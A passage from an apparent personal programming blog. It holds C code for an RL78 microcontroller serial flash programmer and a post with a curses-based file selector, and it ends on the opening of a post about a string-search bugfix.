  if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_silicon_signature() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  if ((data_frame_len = frame_recv(tty_fd, data_frame, sizeof(data_frame))) < 0) {
    return -1;
  }

  if (print_details) {
    printf("Device code: 0x%02x 0x%02x 0x%02x\n",
      data_frame[2], data_frame[3], data_frame[4]);
    printf("Device name: %c%c%c%c%c%c%c%c%c%c\n",
      data_frame[5], data_frame[6], data_frame[7], data_frame[8], data_frame[9],
      data_frame[10], data_frame[11], data_frame[12], data_frame[13], data_frame[14]);
    printf("Code flash ROM last address: 0x%02x%02x%02x\n",
      data_frame[17], data_frame[16], data_frame[15]);
    printf("Data flash ROM last address: 0x%02x%02x%02x\n",
      data_frame[20], data_frame[19], data_frame[18]);
    printf("Firmware version: %d.%d%d\n",
      data_frame[21], data_frame[22], data_frame[23]);
  }

  return 0;
}



static int command_block_erase(int tty_fd, int block_no)
{
  int cmd_frame_len, status_frame_len, start_address;
  unsigned char cmd_frame[16];
  unsigned char status_frame[8];

  start_address = block_no * BLOCK_SIZE;

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x04; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_BLOCK_ERASE;
  cmd_frame[cmd_frame_len++] = (start_address & 0xff);         /* Start Address, Low */
  cmd_frame[cmd_frame_len++] = ((start_address >> 8) & 0xff);  /* Start Address, Middle */
  cmd_frame[cmd_frame_len++] = ((start_address >> 16) & 0xff); /* Start Address, High */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_block_erase() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  return 0;
}



static int command_programming(int tty_fd, int first_block_no, unsigned char *block_data, int no_of_blocks)
{
  int cmd_frame_len, status_frame_len, data_frame_len, start_address, end_address, offset;
  unsigned char cmd_frame[16];
  unsigned char status_frame[8];
  unsigned char data_frame[264];

  start_address = first_block_no * BLOCK_SIZE;
  end_address = ((first_block_no + no_of_blocks) * BLOCK_SIZE) - 1;

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x07; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_PROGRAMMING;
  cmd_frame[cmd_frame_len++] = (start_address & 0xff);         /* Start Address, Low */
  cmd_frame[cmd_frame_len++] = ((start_address >> 8) & 0xff);  /* Start Address, Middle */
  cmd_frame[cmd_frame_len++] = ((start_address >> 16) & 0xff); /* Start Address, High */
  cmd_frame[cmd_frame_len++] = (end_address & 0xff);         /* End Address, Low */
  cmd_frame[cmd_frame_len++] = ((end_address >> 8) & 0xff);  /* End Address, Middle */
  cmd_frame[cmd_frame_len++] = ((end_address >> 16) & 0xff); /* End Address, High */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if (frame_recv(tty_fd, status_frame, sizeof(status_frame)) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_programming() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  for (offset = 0; offset < (no_of_blocks * BLOCK_SIZE); offset += 256) {

    data_frame_len = 0;
    data_frame[data_frame_len++] = 0x02; /* Data Frame Header */
    data_frame[data_frame_len++] = 0x00; /* Data Length, Always 0x00 = 256 Bytes */
    memcpy(&data_frame[2], &block_data[offset], 256);
    data_frame_len += 256;
    data_frame[data_frame_len++] = generate_checksum(&data_frame[2], data_frame[1]);

    if ((offset + 256) >= (no_of_blocks * BLOCK_SIZE)) {
      data_frame[data_frame_len++] = 0x03; /* Data Frame Footer, End of Data */
    } else {
      data_frame[data_frame_len++] = 0x17; /* Data Frame Footer, More To Be Sent */
    }

    if (frame_send(tty_fd, data_frame, data_frame_len) < 0) {
      return -1;
    }

    if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
      return -1;
    }

    if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
      fprintf(stderr, "command_programming() failed: %s (0x%02x)\n",
        rl78_status_text(status_frame[2]), status_frame[2]);
      return -1;
    }
  }

  if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_programming() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  return 0;
}



static int command_checksum(int tty_fd, int first_block_no, int no_of_blocks)
{
  int cmd_frame_len, status_frame_len, data_frame_len, start_address, end_address;
  unsigned char cmd_frame[16];
  unsigned char status_frame[8];
  unsigned char data_frame[8];

  start_address = first_block_no * BLOCK_SIZE;
  end_address = ((first_block_no + no_of_blocks) * BLOCK_SIZE) - 1;

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x07; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_CHECKSUM;
  cmd_frame[cmd_frame_len++] = (start_address & 0xff);         /* Start Address, Low */
  cmd_frame[cmd_frame_len++] = ((start_address >> 8) & 0xff);  /* Start Address, Middle */
  cmd_frame[cmd_frame_len++] = ((start_address >> 16) & 0xff); /* Start Address, High */
  cmd_frame[cmd_frame_len++] = (end_address & 0xff);         /* End Address, Low */
  cmd_frame[cmd_frame_len++] = ((end_address >> 8) & 0xff);  /* End Address, Middle */
  cmd_frame[cmd_frame_len++] = ((end_address >> 16) & 0xff); /* End Address, High */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_checksum() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  if ((data_frame_len = frame_recv(tty_fd, data_frame, sizeof(data_frame))) < 0) {
    return -1;
  }

  return data_frame[2] + (data_frame[3] * 0x100);
}



static int command_verify(int tty_fd, int first_block_no, unsigned char *block_data, int no_of_blocks)
{
  int cmd_frame_len, status_frame_len, data_frame_len, start_address, end_address, offset;
  unsigned char cmd_frame[16];
  unsigned char status_frame[8];
  unsigned char data_frame[264];

  start_address = first_block_no * BLOCK_SIZE;
  end_address = ((first_block_no + no_of_blocks) * BLOCK_SIZE) - 1;

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x07; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_VERIFY;
  cmd_frame[cmd_frame_len++] = (start_address & 0xff);         /* Start Address, Low */
  cmd_frame[cmd_frame_len++] = ((start_address >> 8) & 0xff);  /* Start Address, Middle */
  cmd_frame[cmd_frame_len++] = ((start_address >> 16) & 0xff); /* Start Address, High */
  cmd_frame[cmd_frame_len++] = (end_address & 0xff);         /* End Address, Low */
  cmd_frame[cmd_frame_len++] = ((end_address >> 8) & 0xff);  /* End Address, Middle */
  cmd_frame[cmd_frame_len++] = ((end_address >> 16) & 0xff); /* End Address, High */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if (frame_recv(tty_fd, status_frame, sizeof(status_frame)) < 0) {
    return -1;
  }

  if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
    fprintf(stderr, "command_verify() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }

  for (offset = 0; offset < (no_of_blocks * BLOCK_SIZE); offset += 256) {

    data_frame_len = 0;
    data_frame[data_frame_len++] = 0x02; /* Data Frame Header */
    data_frame[data_frame_len++] = 0x00; /* Data Length, Always 0x00 = 256 Bytes */
    memcpy(&data_frame[2], &block_data[offset], 256);
    data_frame_len += 256;
    data_frame[data_frame_len++] = generate_checksum(&data_frame[2], data_frame[1]);

    if ((offset + 256) >= (no_of_blocks * BLOCK_SIZE)) {
      data_frame[data_frame_len++] = 0x03; /* Data Frame Footer, End of Data */
    } else {
      data_frame[data_frame_len++] = 0x17; /* Data Frame Footer, More To Be Sent */
    }

    if (frame_send(tty_fd, data_frame, data_frame_len) < 0) {
      return -1;
    }

    if ((status_frame_len = frame_recv(tty_fd, status_frame, sizeof(status_frame))) < 0) {
      return -1;
    }

    if (status_frame[2] != RL78_STATUS_NORMAL_ACK) {
      fprintf(stderr, "command_verify() failed: %s (0x%02x)\n",
        rl78_status_text(status_frame[2]), status_frame[2]);
      return -1;
    }
    if (status_frame[3] != RL78_STATUS_NORMAL_ACK) {
      fprintf(stderr, "command_verify() failed: %s (0x%02x)\n",
        rl78_status_text(status_frame[3]), status_frame[3]);
      return -1;
    }
  }

  return 0;
}



static int command_block_blank_check(int tty_fd, int first_block_no, int no_of_blocks)
{
  int cmd_frame_len, start_address, end_address;
  unsigned char cmd_frame[16];
  unsigned char status_frame[8];

  start_address = first_block_no * BLOCK_SIZE;
  end_address = ((first_block_no + no_of_blocks) * BLOCK_SIZE) - 1;

  cmd_frame_len = 0;
  cmd_frame[cmd_frame_len++] = 0x01; /* Command Frame Header */
  cmd_frame[cmd_frame_len++] = 0x08; /* Command Information Length */
  cmd_frame[cmd_frame_len++] = RL78_COMMAND_BLOCK_BLANK_CHECK;
  cmd_frame[cmd_frame_len++] = (start_address & 0xff);         /* Start Address, Low */
  cmd_frame[cmd_frame_len++] = ((start_address >> 8) & 0xff);  /* Start Address, Middle */
  cmd_frame[cmd_frame_len++] = ((start_address >> 16) & 0xff); /* Start Address, High */
  cmd_frame[cmd_frame_len++] = (end_address & 0xff);         /* End Address, Low */
  cmd_frame[cmd_frame_len++] = ((end_address >> 8) & 0xff);  /* End Address, Middle */
  cmd_frame[cmd_frame_len++] = ((end_address >> 16) & 0xff); /* End Address, High */
  cmd_frame[cmd_frame_len++] = 0x00; /* Specified Block */
  cmd_frame[cmd_frame_len++] = generate_checksum(&cmd_frame[2], cmd_frame[1]);
  cmd_frame[cmd_frame_len++] = 0x03; /* Command Frame Footer */

  if (frame_send(tty_fd, cmd_frame, cmd_frame_len) < 0) {
    return -1;
  }

  if (frame_recv(tty_fd, status_frame, sizeof(status_frame)) < 0) {
    return -1;
  }

  switch (status_frame[2]) {
  case RL78_STATUS_NORMAL_ACK:
    return 0; /* Blocks are free. */
  case RL78_STATUS_IVERIFY_BLANK_ERROR:
    return 1; /* Blocks are occupied. */
  default:
    fprintf(stderr, "command_block_blank_check() failed: %s (0x%02x)\n",
      rl78_status_text(status_frame[2]), status_frame[2]);
    return -1;
  }
}



static int programmer_init(char *tty_device)
{
  int tty_fd, result;
  struct termios tio;
  unsigned int bits;

  tty_fd = open(tty_device, O_RDWR | O_NOCTTY | O_NONBLOCK);
  if (tty_fd == -1) {
    fprintf(stderr, "open(%s) failed: %s\n", tty_device, strerror(errno));
    return -1;
  }
 
  memset(&tio, '\0', sizeof(tio));
  tio.c_cflag = B115200 | CS8 | CSTOPB;
  tio.c_iflag = IGNPAR;
  tio.c_oflag = 0;
  tio.c_lflag = 0;
  result = tcsetattr(tty_fd, TCSANOW, &tio);
  if (result == -1) {
    fprintf(stderr, "tcsetattr() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  result = ioctl(tty_fd, TIOCMGET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  /* Set DTR (Reset Signal). */
  bits |= TIOCM_DTR;
  result = ioctl(tty_fd, TIOCMSET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  /* Turn on break. */
  result = ioctl(tty_fd, TIOCSBRK, NULL);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  tcflush(tty_fd, TCIOFLUSH);

  /* Clear DTR (Reset Signal). */
  bits &= (~TIOCM_DTR);
  result = ioctl(tty_fd, TIOCMSET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  usleep(1000);

  /* Turn off break. */
  result = ioctl(tty_fd, TIOCCBRK, NULL);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  }

  tcflush(tty_fd, TCIOFLUSH);

  usleep(1000);

  /* Setup Two-wire UART mode. */
  result = write(tty_fd, "\x00", 1);
  if (result == -1) {
    fprintf(stderr, "write() failed: %s\n", strerror(errno));
    close(tty_fd);
    return -1;
  } else if (result == 0) {
    fprintf(stderr, "write() failed: Nothing written\n");
    close(tty_fd);
    return -1;
  }

  usleep(1000);

  tcflush(tty_fd, TCIOFLUSH);

  return tty_fd;
}



static void programmer_shutdown(int tty_fd)
{
  int result;
  unsigned int bits;

  result = ioctl(tty_fd, TIOCMGET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
  }

  /* Set DTR (Reset Signal). */
  bits |= TIOCM_DTR;
  result = ioctl(tty_fd, TIOCMSET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
  }

  usleep(1000);

  /* Clear DTR (Reset Signal). */
  bits &= (~TIOCM_DTR);
  result = ioctl(tty_fd, TIOCMSET, &bits);
  if (result == -1) {
    fprintf(stderr, "ioctl() failed: %s\n", strerror(errno));
  }

  close(tty_fd);
}



static void display_help(char *progname)
{
  fprintf(stderr, "Usage: %s <options>\n", progname);
  fprintf(stderr, "Options:\n"
     "  -h          Display this help and exit.\n"
     "  -t          Print TTY/serial traffic debugging info.\n"
     "  -q          Quiet mode, do not print anything.\n"
     "  -v          Verification mode, do not erase and program.\n"
     "  -d DEVICE   Use TTY DEVICE.\n"
     "  -f FILE     Use FILE for programming or verification.\n"
     "  -o OFFSET   Program or verify at block OFFSET instead of 0.\n"
     "\n");
}



int main(int argc, char *argv[])
{
  int c, i, tty_fd, bin_len, block_no, checksum_remote, checksum_local, result;
  FILE *bin_fh;
  unsigned char bin_data[BLOCK_SIZE];

  char *tty_device = NULL;
  char *bin_file   = NULL;
  int mode_verify    = 0;
  int block_offset   = 0;

  while ((c = getopt(argc, argv, "htqvd:f:o:")) != -1) {
    switch (c) {
    case 'h':
      display_help(argv[0]);
      return EXIT_SUCCESS;

    case 't':
      print_traffic = 1;
      break;

    case 'q':
      print_traffic = 0;
      print_details = 0;
      break;

    case 'v':
      mode_verify = 1;
      break;

    case 'd':
      tty_device = optarg;
      break;

    case 'f':
      bin_file = optarg;
      break;

    case 'o':
      block_offset = atoi(optarg);
      break;

    case '?':
    default:
      display_help(argv[0]);
      return EXIT_FAILURE;
    }
  }

  if (tty_device == NULL) {
    fprintf(stderr, "Please specify a TTY!\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }

  if (bin_file == NULL) {
    fprintf(stderr, "Please specify a file!\n");
    display_help(argv[0]);
    return EXIT_FAILURE;
  }
 
  tty_fd = programmer_init(tty_device);
  if (tty_fd == -1) {
    return EXIT_FAILURE;
  }

  if (command_baud_rate_set(tty_fd) != 0) {
    programmer_shutdown(tty_fd);
    return EXIT_FAILURE;
  }

  if (command_reset(tty_fd) != 0) {
    programmer_shutdown(tty_fd);
    return EXIT_FAILURE;
  }

  if (command_silicon_signature(tty_fd) != 0) {
    programmer_shutdown(tty_fd);
    return EXIT_FAILURE;
  }

  bin_fh = fopen(bin_file, "rb");
  if (bin_fh == NULL) {
    fprintf(stderr, "fopen(%s) failed: %s\n", bin_file, strerror(errno));
    programmer_shutdown(tty_fd);
    return EXIT_FAILURE;
  }

  checksum_local = 0;
  block_no = block_offset;
  while ((bin_len = fread(bin_data, sizeof(unsigned char), BLOCK_SIZE, bin_fh)) > 0) {
    if (print_details) {
      if (mode_verify == 0) {
        printf("Programming Block #%d (0x%06x -> 0x%06x)\n",
          block_no, (block_no * BLOCK_SIZE), (((block_no + 1) * BLOCK_SIZE) - 1));
      } else {
        printf("Verifying Block #%d (0x%06x -> 0x%06x)\n",
          block_no, (block_no * BLOCK_SIZE), (((block_no + 1) * BLOCK_SIZE) - 1));
      }
    }

    /* Pad remaining data with 0xff */
    while (bin_len < BLOCK_SIZE) {
      bin_data[bin_len++] = 0xff;
    }

    for (i = 0; i < BLOCK_SIZE; i++) {
      checksum_local -= bin_data[i];
    }

    if (mode_verify == 0) {
      result = command_block_blank_check(tty_fd, block_no, 1);
      if (result == -1) {
        fclose(bin_fh);
        programmer_shutdown(tty_fd);
        return EXIT_FAILURE;

      } else if (result == 1) {
        if (command_block_erase(tty_fd, block_no) != 0) {
          fclose(bin_fh);
          programmer_shutdown(tty_fd);
          return EXIT_FAILURE;
        }
      }

      if (command_programming(tty_fd, block_no, bin_data, 1) != 0) {
        fclose(bin_fh);
        programmer_shutdown(tty_fd);
        return EXIT_FAILURE;
      }
    }
    
    if (command_verify(tty_fd, block_no, bin_data, 1) != 0) {
      fclose(bin_fh);
      programmer_shutdown(tty_fd);
      return EXIT_FAILURE;
    }

    block_no += 1;
  }
  fclose(bin_fh);

  checksum_local = checksum_local & 0xffff;
  checksum_remote = command_checksum(tty_fd, block_offset, (block_no - block_offset));

  if (print_details) {
    printf("Checksum Local : 0x%04x\n", checksum_local);
    printf("Checksum Remote: 0x%04x\n", checksum_remote);
  }

  programmer_shutdown(tty_fd);
  return EXIT_SUCCESS;
}
          


Topic: Scripts and Code, by Kjetil @ 20/08-2017, Article Link

Simple File Selector in Curses

Here is a simple program that lets you select individual files from a tree view, and then the paths of the selected files are output to a file. The resulting file will typically be used as input for a completely different program.

Here is a screenshot:

Screenshot of curses-based file selector.


Here is the code, which is based on the Directory Tree Diff Front End that I presented earlier:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <curses.h>

typedef enum {
  FILE_NODE_TYPE_ROOT,
  FILE_NODE_TYPE_DIR,
  FILE_NODE_TYPE_FILE,
} file_node_type_t;

typedef struct file_node_s {
  int marked;
  char *name;
  file_node_type_t type;
  struct file_node_s *parent;
  unsigned int no_of_subnodes;
  struct file_node_s **subnode;
} file_node_t;

static int curses_scroll_offset  = 0;
static int curses_selected_entry = 0;

static file_node_t *file_node_new(file_node_t *parent, char *name, file_node_type_t type)
{
  int len;
  file_node_t *new;

  new = (file_node_t *)malloc(sizeof(file_node_t));
  if (new == NULL)
    return NULL;

  if (name == NULL) {
    new->name = NULL;
  } else {
    len = strlen(name) + 1;
    new->name = (char *)malloc(len);
    strncpy(new->name, name, len);
  }
  new->type = type;
  new->parent = parent;
  new->no_of_subnodes = 0;
  new->subnode = NULL;
  new->marked = 0;
  
  return new;
}

static file_node_t *file_node_add(file_node_t *current, char *name, file_node_type_t type)
{
  file_node_t *new;

  new = file_node_new(current, name, type);
  if (new == NULL)
    return NULL;

  if (current->subnode == NULL) {
    current->subnode = malloc(sizeof(file_node_t *));
  } else {
    current->subnode = realloc(current->subnode, sizeof(file_node_t *) * (current->no_of_subnodes + 1));
  }

  current->subnode[current->no_of_subnodes] = new;
  current->no_of_subnodes++;

  return new;
}

static void file_node_remove(file_node_t *node)
{
  int i;
  free(node->name);
  for (i = 0; i < node->no_of_subnodes; i++) {
    file_node_remove(node->subnode[i]);
  }
  if (node->subnode != NULL) {
    free(node->subnode);
  }
  free(node);
}

static int file_node_depth(file_node_t *node)
{
  int depth;

  depth = 0;
  do {
    if (node->type == FILE_NODE_TYPE_ROOT) {
      break;
    }
    node = node->parent;
    depth++;
  } while (node != NULL);

  return depth;
}

static int file_node_list_size(file_node_t *node)
{
  int i, size;

  if (node->type == FILE_NODE_TYPE_ROOT) {
    size = 0;
  } else {
    size = 1;
  }

  for (i = 0; i < node->no_of_subnodes; i++) {
    size += file_node_list_size(node->subnode[i]);
  }

  return size;
}

static char *file_node_path(file_node_t *node, char *path, int path_len)
{
  char temp[PATH_MAX];

  strncpy(path, node->name, path_len);

  node = node->parent;
  while (node != NULL) {
    if (node->type == FILE_NODE_TYPE_ROOT) {
      break;
    }
    strncpy(temp, path, PATH_MAX);
    snprintf(path, path_len, "%s/%s", node->name, temp);
    node = node->parent;
  }

  return path;
}

static int file_node_compare(const void *p1, const void *p2)
{
  file_node_t *p1p, *p2p;
  p1p = *((file_node_t **)p1);
  p2p = *((file_node_t **)p2);
  return strcmp(((file_node_t *)p1p)->name, ((file_node_t *)p2p)->name);
}

static void file_node_sort(file_node_t *node)
{
  int i;
  qsort(node->subnode, node->no_of_subnodes, sizeof(file_node_t *), file_node_compare);
  for (i = 0; i < node->no_of_subnodes; i++) {
    file_node_sort(node->subnode[i]);
  }
}

static void file_node_dump(file_node_t *node)
{
  int i, depth;

  depth = file_node_depth(node);
  while (depth-- > 1)
    printf("  ");

  if (node->type == FILE_NODE_TYPE_ROOT)
    printf("/");
  else {
    printf("%s", node->name);
    if (node->type == FILE_NODE_TYPE_DIR)
      printf("/");
  }

  printf("\n");

  for (i = 0; i < node->no_of_subnodes; i++) {
    file_node_dump(node->subnode[i]);
  }
}

static void file_node_print_marked(file_node_t *node, char *root_dir, FILE *fh)
{
  int i;
  char path[PATH_MAX];

  if (node->marked) {
    fprintf(fh, "%s/%s\n", root_dir, file_node_path(node, path, PATH_MAX));
  }

  for (i = 0; i < node->no_of_subnodes; i++) {
    file_node_print_marked(node->subnode[i], root_dir, fh);
  }
}

static int file_node_scan(file_node_t *current, char *path)
{
  DIR *dh;
  struct dirent *entry;
  struct stat st;
  char fullpath[PATH_MAX];
  file_node_t *subnode;

  dh = opendir(path);
  if (dh == NULL) {
    fprintf(stderr, "Error: Unable to open directory: %s\n", path);
    return -1;
  }

  while ((entry = readdir(dh))) {
    if (entry->d_name[0] == '.')
      continue; /* Ignore files with leading dot. */

    snprintf(fullpath, PATH_MAX, "%s/%s", path, entry->d_name);
    if (stat(fullpath, &st) == -1) {
      fprintf(stderr, "Warning: Unable to stat() path: %s\n", fullpath);
      continue;
    }

    if (S_ISDIR(st.st_mode)) {
      subnode = file_node_add(current, entry->d_name, FILE_NODE_TYPE_DIR);
      file_node_scan(subnode, fullpath);

    } else if (S_ISREG(st.st_mode)) {
      file_node_add(current, entry->d_name, FILE_NODE_TYPE_FILE);
    }
  }

  closedir(dh);
  return 0;
}

static file_node_t *file_node_get_by_node_no(file_node_t *node, int node_no, int *node_count)
{
  file_node_t *found;
  int i;

  if (node->type != FILE_NODE_TYPE_ROOT) {
    *node_count = *node_count + 1;
  }
  
  if (*node_count == node_no) {
    return node; /* Match found, return self. */
  }

  for (i = 0; i < node->no_of_subnodes; i++) {
    found = file_node_get_by_node_no(node->subnode[i], node_no, node_count);
    if (found != NULL) {
      return found;
    }
  }

  return NULL;
}

static void file_node_mark(file_node_t *node, int node_no)
{
  int node_count;
  file_node_t *found;

  node_count = 0;
  found = file_node_get_by_node_no(node, node_no, &node_count);
  if (found == NULL)
    return;

  if (found->type != FILE_NODE_TYPE_FILE)
    return; /* Only files, not directories, can be marked. */

  if (found->marked == 0) {
    found->marked = 1;
  } else {
    found->marked = 0;
  }
}

static void curses_list_draw(file_node_t *node, int line_no, int node_no, int selected)
{
  int node_count, maxy, maxx, pos, depth;
  file_node_t *found;

  node_count = 0;
  found = file_node_get_by_node_no(node, node_no, &node_count);
  if (found == NULL)
    return;

  getmaxyx(stdscr, maxy, maxx);

  if (selected)
    attron(A_REVERSE);

  if (found->name == NULL) {
    for (pos = 0; pos < maxx - 2; pos++)
      mvaddch(line_no, pos, ' ');

  } else {
    pos = 0;

    /* Depth indicator. */
    depth = file_node_depth(found);
    while (depth-- > 1) {
      mvaddch(line_no, pos++, ' ');
      mvaddch(line_no, pos++, ' ');
    }

    /* File/directory name. */
    if (found->marked)
      attron(A_BOLD);
    mvaddstr(line_no, pos, found->name);
    pos += strlen(found->name);
    if (found->marked)
      attroff(A_BOLD);

    /* Slash for directory. */
    if (found->type == FILE_NODE_TYPE_DIR)
      mvaddch(line_no, pos++, '/');

    /* Padding. */
    for (; pos < maxx - 2; pos++)
      mvaddch(line_no, pos, ' ');
  }

  if (selected)
    attroff(A_REVERSE);
}

static void curses_update_screen(file_node_t *node)
{
  int n, i, maxy, maxx;
  int scrollbar_size, scrollbar_pos;
  int list_size;
  
  list_size = file_node_list_size(node);
  
  getmaxyx(stdscr, maxy, maxx);
  erase();
  
  /* Draw text lines. */
  for (n = 0; n < maxy; n++) { 
    if ((n + curses_scroll_offset) >= list_size)
      break;
    
    if (n == (curses_selected_entry - curses_scroll_offset)) {
      curses_list_draw(node, n, n + curses_scroll_offset + 1, 1);
    } else {
      curses_list_draw(node, n, n + curses_scroll_offset + 1, 0);
    }
  }
  
  /* Draw scrollbar. */
  if (list_size <= maxy)
    scrollbar_size = maxy;
  else
    scrollbar_size = maxy / (list_size / (double)maxy);
  
  scrollbar_pos = curses_selected_entry / (double)list_size * (maxy - scrollbar_size);
  attron(A_REVERSE);
  for (i = 0; i <= scrollbar_size; i++)
    mvaddch(i + scrollbar_pos, maxx - 1, ' ');
  attroff(A_REVERSE);
  
  mvvline(0, maxx - 2, 0, maxy);
  
  /* Place cursor at end of selected line. */ 
  move(curses_selected_entry - curses_scroll_offset, maxx - 3);
}

static void curses_exit_handler(void)
{
  endwin();
}

static void curses_winch_handler(file_node_t *node)
{
  endwin(); /* To get new window limits. */
  curses_update_screen(node);
  flushinp();
  keypad(stdscr, TRUE);
}

static void file_node_curses_loop(file_node_t *node)
{
  int c, maxy, maxx, list_size;

  initscr();
  atexit(curses_exit_handler);
  noecho();
  keypad(stdscr, TRUE);

  while (1) {
    list_size = file_node_list_size(node);
    curses_update_screen(node);
    getmaxyx(stdscr, maxy, maxx);
    c = getch();

    switch (c) {
    case KEY_RESIZE:
      curses_winch_handler(node);
      break;

    case KEY_UP:
      curses_selected_entry--;
      if (curses_selected_entry < 0)
        curses_selected_entry++;
      if (curses_scroll_offset > curses_selected_entry) {
        curses_scroll_offset--;
        if (curses_scroll_offset < 0)
          curses_scroll_offset = 0;
      }
      break;

    case KEY_NPAGE:
      curses_scroll_offset += maxy / 2;
      while (maxy + curses_scroll_offset > list_size)
        curses_scroll_offset--;
      if (curses_scroll_offset < 0)
        curses_scroll_offset = 0;
      if (curses_selected_entry < curses_scroll_offset)
        curses_selected_entry = curses_scroll_offset;
      break;

    case KEY_PPAGE:
      curses_scroll_offset -= maxy / 2;
      if (curses_scroll_offset < 0)
        curses_scroll_offset = 0;
      if (curses_selected_entry > maxy + curses_scroll_offset - 1)
        curses_selected_entry = maxy + curses_scroll_offset - 1;
      break;

    case ' ':
    case KEY_IC:
      file_node_mark(node, curses_selected_entry + 1);
      /* Move cursor to next line automatically. */
    case KEY_ENTER:
    case '\n':
    case '\r':
    case KEY_DOWN:
      curses_selected_entry++;
      if (curses_selected_entry >= list_size)
        curses_selected_entry--;
      if (curses_selected_entry > maxy - 1) {
        curses_scroll_offset++;
        if (curses_scroll_offset > curses_selected_entry - maxy + 1)
          curses_scroll_offset--;
      }
      break;

    case '\e': /* Escape */
    case 'Q':
    case 'q':
      return;
    }
  }
}

int main(int argc, char *argv[])
{
  file_node_t *root;
  char *root_dir;
  FILE *fh;

  if (argc < 2) {
     fprintf(stderr, "Usage: %s <output file> [directory]\n", argv[0]);
     return 1;
  }

  fh = fopen(argv[1], "wx");
  if (fh == NULL) {
     fprintf(stderr, "Error: Cannot open file, or it exists already: %s\n", argv[1]);
     return 1;
  }

  if (argc > 2) {
    root_dir = argv[2];
  } else {
    root_dir = ".";
  }

  root = file_node_new(NULL, NULL, FILE_NODE_TYPE_ROOT);
  if (root == NULL) {
    fclose(fh);
    return 1;
  }

  if (file_node_scan(root, root_dir) != 0) {
    file_node_remove(root);
    fclose(fh);
    return 1;
  }

  file_node_sort(root);

  if (isatty(STDOUT_FILENO)) {
    file_node_curses_loop(root);
    file_node_print_marked(root, root_dir, fh);
  } else {
    /* Mostly for debugging. */
    file_node_dump(root);
  }

  file_node_remove(root);
  fclose(fh);
  return 0;
}
          


Topic: Scripts and Code, by Kjetil @ 22/06-2017, Article Link

Recursive String Search Bugfix

Remember Recursive String Search Improved?
It actually contains a very subtle bug, which I discovered after a search I made did not make sense. Something that should have been found wasn't.

